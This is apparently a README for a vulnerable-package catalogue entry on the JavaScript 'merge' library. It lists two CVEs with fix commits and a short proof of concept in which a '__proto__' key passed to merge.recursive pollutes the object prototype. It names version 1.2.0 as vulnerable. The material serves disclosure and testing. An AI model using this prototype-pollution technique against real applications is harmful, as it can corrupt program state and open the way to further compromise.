README.md

merge

(recursive)? merging of (cloned)? objects.

Latest version: 2.1.1

CVE	Fix
CVE-2020-28499	https://github.com/yeikos/js.merge/commit/7b0ddc2701d813f2ba289b32d6a4b9d4cc235fb4
CVE-2018-16469	https://github.com/yeikos/js.merge/commit/6ad6035b901b3d680beac82de39ca83a93885246

Exploits

const merge = require('merge');

merge.recursive({}, JSON.parse('{"__proto__": {"a": "b"}}'));
if (({}).a === 'b') console.log('exploitable');

Vulnerable versions: 1.2.0